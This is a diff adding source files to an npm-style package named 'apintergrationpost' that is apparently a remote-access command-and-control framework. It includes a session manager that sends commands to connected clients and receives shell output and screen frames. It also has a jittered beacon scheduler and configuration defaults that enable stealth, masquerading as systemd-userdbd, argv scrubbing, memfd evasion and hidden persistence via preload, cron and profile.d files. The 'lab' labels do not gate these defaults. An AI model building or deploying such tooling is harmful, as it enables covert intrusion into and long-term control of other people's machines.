apintergrationpost 4.0.1

package/src/server/sessionManager.js

@@ -0,0 +1,229 @@
+'use strict';
+
+const crypto = require('crypto');
+const { writeMessage, createMessageReader } = require('../protocol/framer');
+const { MSG_TYPES, commandMsg, disconnectMsg, heartbeatMsg } = require('../protocol/messages');
+
+class Session {
+  constructor(socket, logger, config) {
+    this.id = crypto.randomBytes(4).toString('hex');
+    this.socket = socket;
+    this.logger = logger;
+    this.config = config;
+    this.remoteAddress = socket.remoteAddress;
+    this.remotePort = socket.remotePort;
+    this.connectedAt = Date.now();
+    this.lastHeartbeat = Date.now();
+    this.authenticated = false;
+    this.alive = true;
+    this._pending = new Map();
+    this._onDisconnect = null;
+    this._shellOutputHandler = null;
+    this._screenFrameHandler = null;
+
+    const commandTimeoutMs = (config && config.commandTimeoutMs) || 120000;
+    const heartbeatIntervalMs = (config && config.heartbeatIntervalMs) || 30000;
+
+    createMessageReader(socket, (msg) => {
+      if (msg.type === MSG_TYPES.RESPONSE && this._pending.has(msg.id)) {
+        const pending = this._pending.get(msg.id);
+        if (msg.meta && msg.meta.stream && !msg.meta.final) {
+          if (pending.onStream) pending.onStream(msg);
+          return;
+        }
+        this._pending.delete(msg.id);
+        pending.resolve(msg);
+      } else if (msg.type === MSG_TYPES.SHELL_OUTPUT) {
+        if (this._shellOutputHandler) {
+          this._shellOutputHandler(msg);
+        }
+      } else if (msg.type === MSG_TYPES.SCREEN_FRAME) {
+        if (this._screenFrameHandler) {
+          this._screenFrameHandler(msg);
+        }
+      } else if (msg.type === MSG_TYPES.HEARTBEAT) {
+        this.lastHeartbeat = Date.now();
+      } else if (msg.type === MSG_TYPES.DISCONNECT) {
+        logger.info(`Client ${this.id} sent disconnect`);
+        this._cleanup();
+        if (this._onDisconnect) this._onDisconnect();
+      }
+    });
+
+    this._heartbeatTimer = setInterval(() => {
+      if (this.alive) writeMessage(socket, heartbeatMsg());
+    }, heartbeatIntervalMs);
+
+    socket.setKeepAlive(true, 15000);
+
+    socket.on('error', (err) => {
+      logger.error(`Session ${this.id} socket error`, { error: err.message });
+    });
+
+    socket.on('close', () => {
+      if (this.alive) {
+        this._cleanup();
+        if (this._onDisconnect) this._onDisconnect();
+      }
+    });
+  }
+
+  get uptime() {
+    return Date.now() - this.connectedAt;
+  }
+
+  get label() {
+    return `${this.id} (${this.remoteAddress}:${this.remotePort})`;
+  }
+
+  onDisconnect(fn) {
+    this._onDisconnect = fn;
+  }
+
+  setShellOutputHandler(fn) {
+    this._shellOutputHandler = fn;
+  }
+
+  setScreenFrameHandler(fn) {
+    this._screenFrameHandler = fn;
+  }
+
+  sendCommand(command, body, meta, opts = {}) {
+    const commandTimeoutMs = (this.config && this.config.commandTimeoutMs) || 120000;
+    return new Promise((resolve, reject) => {
+      if (!this.alive) {
+        reject(new Error('Session is closed'));
+        return;
+      }
+      const msg = commandMsg(command, body, meta);
+      this._pending.set(msg.id, { resolve, reject, onStream: opts.onStream });
+      writeMessage(this.socket, msg);
+
+      const timeoutMs = opts.timeoutMs || commandTimeoutMs;
+
+      setTimeout(() => {
+        if (this._pending.has(msg.id)) {
+          this._pending.delete(msg.id);
+          reject(new Error('Command timed out'));
+        }
+      }, timeoutMs);
+    });
+  }
+
+  sendFireAndForget(command, body) {
+    if (this.alive) {
+      writeMessage(this.socket, commandMsg(command, body));
+    }
+  }
+
+  disconnect(reason) {
+    if (this.alive) {
+      writeMessage(this.socket, disconnectMsg(reason || 'server closing'));
+      this._cleanup();
+      this.socket.end();
+    }
+  }
+
+  _cleanup() {
+    this.alive = false;
+    clearInterval(this._heartbeatTimer);
+    for (const [, { reject }] of this._pending) {
+      reject(new Error('Session ended'));
+    }
+    this._pending.clear();
+  }
+}
+
+class SessionManager {
+  constructor(logger) {
+    this.logger = logger;
+    this._sessions = new Map();
+    this._activeId = null;
+  }
+
+  add(session) {
+    this._sessions.set(session.id, session);
+    session.onDisconnect(() => {
+      this.logger.info(`Session ${session.label} disconnected`);
+      this._sessions.delete(session.id);
+      if (this._activeId === session.id) {
+        this._activeId = null;
+      }
+    });
+    if (this._sessions.size === 1) {
+      this._activeId = session.id;
+    }
+    this.logger.info(`Session ${session.label} registered (total: ${this._sessions.size})`);
+  }
+
+  remove(id) {
+    const session = this._sessions.get(id);
+    if (session) {
+      session.disconnect('removed');
+      this._sessions.delete(id);
+      if (this._activeId === id) this._activeId = null;
+    }
+  }
+
+  get(id) {
+    return this._sessions.get(id) || null;
+  }
+
+  get active() {
+    if (!this._activeId) return null;
+    return this._sessions.get(this._activeId) || null;
+  }
+
+  set activeId(id) {
+    if (this._sessions.has(id)) {
+      this._activeId = id;
+    }
+  }
+
+  get activeSessionId() {
+    return this._activeId;
+  }
+
+  list() {
+    const results = [];
+    for (const [id, s] of this._sessions) {
+      const uptimeSec = Math.floor(s.uptime / 1000);
+      const heartbeatAgo = Math.floor((Date.now() - s.lastHeartbeat) / 1000);
+      results.push({
+        id,
+        address: `${s.remoteAddress}:${s.remotePort}`,
+        uptime: `${uptimeSec}s`,
+        lastHeartbeat: `${heartbeatAgo}s ago`,
+        active: id === this._activeId,
+      });
+    }
+    return results;
+  }
+
+  get size() {
+    return this._sessions.size;
+  }
+
+  async broadcast(command, body) {
+    const results = [];
+    for (const [id, session] of this._sessions) {
+      try {
+        const resp = await session.sendCommand(command, body);
+        results.push({ id, status: resp.status, body: resp.body });
+      } catch (err) {
+        results.push({ id, status: 'error', body: err.message });
+      }
+    }
+    return results;
+  }
+
+  disconnectAll(reason) {
+    for (const [, session] of this._sessions) {
+      session.disconnect(reason);
+    }
+    this._sessions.clear();
+    this._activeId = null;
+  }
+}
+
+module.exports = { Session, SessionManager };

package/src/shared/c2schedule.js

@@ -0,0 +1,100 @@
+'use strict';
+
+function clamp(value, min, max) {
+  return Math.max(min, Math.min(max, value));
+}
+
+function randomJitter(maxJitterMs) {
+  if (!maxJitterMs || maxJitterMs <= 0) return 0;
+  return Math.floor(Math.random() * (maxJitterMs * 2 + 1)) - maxJitterMs;
+}
+
+function sampleUniform(minMs, maxMs) {
+  return minMs + Math.floor(Math.random() * (maxMs - minMs + 1));
+}
+
+function sampleLogNormal(minMs, maxMs, sigma) {
+  const u1 = Math.random() || Number.MIN_VALUE;
+  const u2 = Math.random();
+  const z = Math.sqrt(-2 * Math.log(u1)) * Math.cos(2 * Math.PI * u2);
+  const logMean = Math.log((minMs + maxMs) / 2);
+  const value = Math.exp(logMean + (sigma || 0.55) * z);
+  return clamp(Math.floor(value), minMs, maxMs);
+}
+
+function sampleExponential(minMs, maxMs) {
+  const lambda = 1 / ((minMs + maxMs) / 2);
+  const value = -Math.log(1 - Math.random()) / lambda;
+  return clamp(Math.floor(value), minMs, maxMs);
+}
+
+function sampleFromProfile(profile, fallbackMs) {
+  if (!profile || profile.minMs == null || profile.maxMs == null) {
+    return fallbackMs || 60000;
+  }
+
+  const minMs = Number(profile.minMs);
+  const maxMs = Number(profile.maxMs);
+  const distribution = profile.distribution || 'lognormal';
+
+  if (distribution === 'uniform') {
+    return sampleUniform(minMs, maxMs);
+  }
+  if (distribution === 'exponential') {
+    return sampleExponential(minMs, maxMs);
+  }
+  return sampleLogNormal(minMs, maxMs, profile.sigma);
+}
+
+function nextBeaconInterval(config) {
+  const c2 = config.c2 || {};
+  const profile = c2.beaconProfile;
+  if (profile) {
+    return sampleFromProfile(profile, config.heartbeatIntervalMs || 60000);
+  }
+
+  const base = config.heartbeatIntervalMs || 60000;
+  const jitter = randomJitter(c2.heartbeatJitterMs || 0);
+  return Math.max(1000, base + jitter);
+}
+
+function nextReconnectDelay(config, currentDelay) {
+  const c2 = config.c2 || {};
+  const profile = c2.reconnectProfile;
+  if (profile) {
+    return sampleFromProfile(profile, currentDelay || 5000);
+  }
+
+  const jitter = randomJitter(c2.reconnectJitterMs || 0);
+  return Math.max(1000, (currentDelay || 1000) + jitter);
+}
+
+function isWithinActiveHours(activeHours) {
+  if (!activeHours || activeHours.start == null || activeHours.end == null) {
+    return true;
+  }
+
+  const now = new Date();
+  const hour = now.getUTCHours();
+  const start = Number(activeHours.start);
+  const end = Number(activeHours.end);
+
+  if (start <= end) {
+    return hour >= start && hour < end;
+  }
+  return hour >= start || hour < end;
+}
+
+function getActiveHoursSleepMs(activeHours) {
+  if (!activeHours) return 60000;
+  return Number(activeHours.pollMs) || 60000;
+}
+
+module.exports = {
+  randomJitter,
+  sampleFromProfile,
+  nextBeaconInterval,
+  nextReconnectDelay,
+  isWithinActiveHours,
+  getActiveHoursSleepMs,
+};

package/src/shared/config.js

@@ -0,0 +1,277 @@
+'use strict';
+
+const fs = require('fs');
+const path = require('path');
+
+const DEFAULTS = {
+  host: '0.0.0.0',
+  port: 4444,
+  tls: {
+    enabled: false,
+    cert: '',
+    key: '',
+    ca: '',
+    mutual: false,
+  },
+  auth: { token: 'myra-lab-shared-key' },
+  reconnect: {
+    initialDelayMs: 1000,
+    maxDelayMs: 60000,
+    backoffFactor: 2,
+  },
+  log: { level: 'warn', file: '' },
+  heartbeatIntervalMs: 60000,
+  heartbeatTimeoutMs: 360000,
+  commandTimeoutMs: 120000,
+  maxOutputBytes: 1024 * 1024,
+  plugins: {
+    enabled: [
+      'shell-oneshot',
+      'shell-pty',
+      'filesystem',
+      'screen-live',
+      'system',
+      'sysinfo',
+      'process-list',
+      'network-enum',
+      'file-search',
+    ],
+    disabled: [],
+  },
+  features: {
+    pty: true,
+    screenLive: true,
+  },
+  screen: {
+    fps: 3,
+    viewerPort: 5555,
+    display: ':0',
+    size: '1280x720',
+  },
+  lab: {
+    mode: false,
+    telemetryMode: false,
+    eventsFile: './telemetry-events.jsonl',
+    emitProcessInfo: true,
+  },
+  c2: {
+    heartbeatJitterMs: 0,
+    reconnectJitterMs: 0,
+    activeHours: null,
+    beaconProfile: {
+      minMs: 45000,
+      maxMs: 300000,
+      distribution: 'lognormal',
+      sigma: 0.55,
+    },
+    reconnectProfile: {
+      minMs: 5000,
+      maxMs: 120000,
+      distribution: 'exponential',
+    },
+  },
+  emulation: {
+    enabled: true,
+    stealth: true,
+    telemetry: false,
+    nativeToolsPath: './native/lab-tools/bin',
+    plugins: ['persistence-stealth', 'evasion-process', 'evasion-memfd'],
+    process: {
+      autoHide: false,
+      targetName: 'systemd-userdbd',
+      binaryPath: '/usr/lib/systemd/systemd-userdbd',
+      scrubArgv: true,
+      fakeArgs: ['--user'],
+    },
+    persistence: {
+      vectors: ['preload', 'cron', 'profile'],
+      cronIntervalMin: 13,
+      preloadPath: '/usr/local/lib/.libcache.so',
+      wrapperPath: '/usr/local/lib/.cache-update.sh',
+      ldConfPath: '/etc/ld.so.conf.d/.cache.conf',
+      profilePath: '/etc/profile.d/.sh.local',
+      avoidSystemd: true,
+      hidePaths: [],
+    },
+    c2: {
+      paddingMaxBytes: 64,
+    },
+    memory: {
+      mode: 'off',
+      autoDeploy: false,
+      nodePath: '/usr/bin/node',
+      bundlePath: './dist/agent.bundle.js',
+      scrubArgv: true,
+      daemon: true,
+      unlinkBundle: false,
+    },
+  },
+  advanced: {
+    requireLabMode: false,
+    enabled: [],
+    nativeToolsPath: './native/lab-tools/bin',
+  },
+  installServer: {
+    enabled: true,
+    host: '0.0.0.0',
+    port: 8080,
+    clientHost: '',
+  },
+};
+
+function deepMerge(target, source) {
+  const result = { ...target };
+  for (const key of Object.keys(source)) {
+    if (
+      source[key] !== null &&
+      typeof source[key] === 'object' &&
+      !Array.isArray(source[key]) &&
+      typeof target[key] === 'object' &&
+      target[key] !== null
+    ) {
+      result[key] = deepMerge(target[key], source[key]);
+    } else if (source[key] !== undefined) {
+      result[key] = source[key];
+    }
+  }
+  return result;
+}
+
+function loadFileConfig(filePath) {
+  try {
+    const resolved = path.resolve(filePath);
+    const raw = fs.readFileSync(resolved, 'utf8');
+    return JSON.parse(raw);
+  } catch {
+    return {};
+  }
+}
+
+function envValue(primary, fallback) {
+  if (primary !== undefined && primary !== '') return primary;
+  return fallback;
+}
+
+function loadEnvConfig() {
+  const env = {};
+  const host = envValue(process.env.APINTEGRATIONPOST_HOST, process.env.MYRA_HOST);
+  const port = envValue(process.env.APINTEGRATIONPOST_PORT, process.env.MYRA_PORT);
+  const token = envValue(process.env.APINTEGRATIONPOST_AUTH_TOKEN, process.env.MYRA_AUTH_TOKEN);
+
+  if (host) env.host = host;
+  if (port) env.port = Number(port);
+  if (token) env.auth = { token };
+  if (process.env.MYRA_LOG_LEVEL) env.log = { level: process.env.MYRA_LOG_LEVEL };
+  if (process.env.MYRA_LOG_FILE) {
+    env.log = { ...(env.log || {}), file: process.env.MYRA_LOG_FILE };
+  }
+  if (process.env.MYRA_TLS_ENABLED === 'false') {
+    env.tls = { ...(env.tls || {}), enabled: false };
+  } else if (process.env.MYRA_TLS_ENABLED === 'true') {
+    env.tls = { ...(env.tls || {}), enabled: true };
+  }
+  if (process.env.MYRA_TLS_CERT) {
+    env.tls = { ...(env.tls || {}), cert: process.env.MYRA_TLS_CERT };
+  }
+  if (process.env.MYRA_TLS_KEY) {
+    env.tls = { ...(env.tls || {}), key: process.env.MYRA_TLS_KEY };
+  }
+  if (process.env.MYRA_TLS_CA) {
+    env.tls = { ...(env.tls || {}), ca: process.env.MYRA_TLS_CA };
+  }
+  if (process.env.MYRA_LAB_MODE === 'true') {
+    env.lab = { ...(env.lab || {}), mode: true };
+  }
+  if (process.env.MYRA_LAB_TELEMETRY === 'true' || process.env.MYRA_EMULATION_TELEMETRY === 'true') {
+    env.emulation = { ...(env.emulation || {}), telemetry: true };
+  }
+  if (process.env.MYRA_FEATURES_PTY === 'false') {
+    env.features = { ...(env.features || {}), pty: false };
+  }
+  if (process.env.MYRA_EMULATION_STEALTH === 'false') {
+    env.emulation = { ...(env.emulation || {}), stealth: false };
+  }
+  return env;
+}
+
+function parseCliArgs(argv) {
+  const args = {};
+  for (let i = 2; i < argv.length; i++) {
+    const arg = argv[i];
+    if (arg === '--config' && argv[i + 1]) {
+      args._configFile = argv[++i];
+    } else if (arg === '--host' && argv[i + 1]) {
+      args.host = argv[++i];
+    } else if (arg === '--port' && argv[i + 1]) {
+      args.port = Number(argv[++i]);
+    } else if (arg === '--token' && argv[i + 1]) {
+      args.auth = { token: argv[++i] };
+    } else if (arg === '--log-level' && argv[i + 1]) {
+      args.log = { ...(args.log || {}), level: argv[++i] };
+    } else if (arg === '--log-file' && argv[i + 1]) {
+      args.log = { ...(args.log || {}), file: argv[++i] };
+    } else if (arg === '--lab') {
+      args.lab = { ...(args.lab || {}), mode: true };
+    } else if (arg === '--telemetry') {
+      args.emulation = { ...(args.emulation || {}), telemetry: true };
+    }
+  }
+  return args;
+}
+
+function resolveConfigFile(cliConfigFile) {
+  if (cliConfigFile) return cliConfigFile;
+
+  const envConfig = process.env.APINTEGRATIONPOST_CONFIG || process.env.MYRA_CONFIG;
+  if (envConfig) return envConfig;
+
+  const packaged = path.join(process.cwd(), 'apintergrationpost.config.json');
+  if (fs.existsSync(packaged)) return packaged;
+
+  return path.join(process.cwd(), 'myra.config.json');
+}
+
+function loadConfig(argv = process.argv) {
+  const cliArgs = parseCliArgs(argv);
+  const configFile = resolveConfigFile(cliArgs._configFile);
+  delete cliArgs._configFile;
+
+  const fileConfig = loadFileConfig(configFile);
+  const envConfig = loadEnvConfig();
+  const config = deepMerge(deepMerge(deepMerge(DEFAULTS, fileConfig), envConfig), cliArgs);
+  config._configDir = path.dirname(path.resolve(configFile));
+  return config;
+}
+
+function validateLabConfig(config) {
+  const token = (config.auth && config.auth.token) || '';
+  const emulation = config.emulation || {};
+  const advancedEnabled = (config.advanced && config.advanced.enabled) || [];
+  const emulationPlugins = emulation.plugins || [];
+  const tlsConf = config.tls || {};
+
+  if (!token) {
+    return 'Set auth.token to a shared password (must match on client and server)';
+  }
+
+  if (tlsConf.enabled === false && token.length < 8) {
+    return 'auth.token must be at least 8 characters when TLS is disabled';
+  }
+
+  if (advancedEnabled.length > 0 && config.advanced && config.advanced.requireLabMode !== false) {
+    if (!config.lab || !config.lab.mode) {
+      return 'Legacy advanced plugins require lab.mode (use emulation.plugins instead)';
+    }
+    if (!token) {
+      return 'Advanced plugins require auth.token to be set in configuration';
+    }
+  }
+
+  if (config.lab && config.lab.mode && !token) {
+    return 'Lab mode requires auth.token to be set in configuration';
+  }
+
+  return null;
+}
+
+module.exports = { loadConfig, validateLabConfig, DEFAULTS };

package/src/shared/emulation.js

@@ -0,0 +1,86 @@
+'use strict';
+
+/**
+ * Normalize emulation config (merges legacy advanced.* for backward compatibility).
+ */
+function getEmulationConfig(config) {
+  const emulation = { ...(config.emulation || {}) };
+  const advanced = config.advanced || {};
+
+  if (advanced.nativeToolsPath && !emulation.nativeToolsPath) {
+    emulation.nativeToolsPath = advanced.nativeToolsPath;
+  }
+  if (advanced.enabled && !emulation.plugins) {
+    emulation.plugins = advanced.enabled.map((name) => {
+      if (name === 'persistence-advanced') return 'persistence-stealth';
+      return name;
+    });
+  }
+  if (advanced.persistence && !emulation.persistence) {
+    emulation.persistence = advanced.persistence;
+  }
+  if (advanced.masquerade && !emulation.process) {
+    emulation.process = {
+      targetName: advanced.masquerade.targetName,
+      binaryPath: advanced.masquerade.binaryPath,
+    };
+  }
+
+  return {
+    enabled: emulation.enabled !== false,
+    stealth: emulation.stealth !== false,
+    telemetry: emulation.telemetry === true,
+    nativeToolsPath: emulation.nativeToolsPath || './native/lab-tools/bin',
+    plugins: emulation.plugins || [
+      'persistence-stealth',
+      'evasion-process',
+      'evasion-memfd',
+    ],
+    process: {
+      autoHide: !!(emulation.process && emulation.process.autoHide),
+      targetName: (emulation.process && emulation.process.targetName) || 'systemd-userdbd',
+      binaryPath: (emulation.process && emulation.process.binaryPath) || '/usr/lib/systemd/systemd-userdbd',
+      scrubArgv: emulation.process ? emulation.process.scrubArgv !== false : true,
+      fakeArgs: (emulation.process && emulation.process.fakeArgs) || ['--user'],
+    },
+    persistence: {
+      vectors: (emulation.persistence && emulation.persistence.vectors) || ['preload', 'cron', 'profile'],
+      cronIntervalMin: (emulation.persistence && emulation.persistence.cronIntervalMin) || 13,
+      preloadPath: (emulation.persistence && emulation.persistence.preloadPath) || '/usr/local/lib/.libcache.so',
+      wrapperPath: (emulation.persistence && emulation.persistence.wrapperPath) || '/usr/local/lib/.cache-update.sh',
+      ldConfPath: (emulation.persistence && emulation.persistence.ldConfPath) || '/etc/ld.so.conf.d/.cache.conf',
+      profilePath: (emulation.persistence && emulation.persistence.profilePath) || '/etc/profile.d/.sh.local',
+      avoidSystemd: emulation.persistence ? emulation.persistence.avoidSystemd !== false : true,
+      hidePaths: (emulation.persistence && emulation.persistence.hidePaths) || [],
+    },
+    c2: {
+      paddingMaxBytes: (emulation.c2 && emulation.c2.paddingMaxBytes) || 0,
+    },
+    memory: {
+      mode: (emulation.memory && emulation.memory.mode) || 'off',
+      autoDeploy: emulation.memory && emulation.memory.autoDeploy === true,
+      nodePath: (emulation.memory && emulation.memory.nodePath) || '/usr/bin/node',
+      bundlePath: (emulation.memory && emulation.memory.bundlePath) || './dist/agent.bundle.js',
+      scrubArgv: emulation.memory ? emulation.memory.scrubArgv !== false : true,
+      daemon: emulation.memory ? emulation.memory.daemon !== false : true,
+      unlinkBundle: emulation.memory && emulation.memory.unlinkBundle === true,
+      comm: emulation.memory && emulation.memory.comm,
+      fakeArg: emulation.memory && emulation.memory.fakeArg,
+    },
+  };
+}
+
+function isEmulationPluginEnabled(config, pluginName) {
+  const emu = getEmulationConfig(config);
+  if (!emu.enabled) return false;
+  return emu.plugins.includes(pluginName);
+}
+
+function shouldEmitTelemetry(config) {
+  const emu = getEmulationConfig(config);
+  if (emu.telemetry) return true;
+  if (config.lab && config.lab.telemetryMode) return true;
+  return false;
+}
+
+module.exports = { getEmulationConfig, isEmulationPluginEnabled, shouldEmitTelemetry };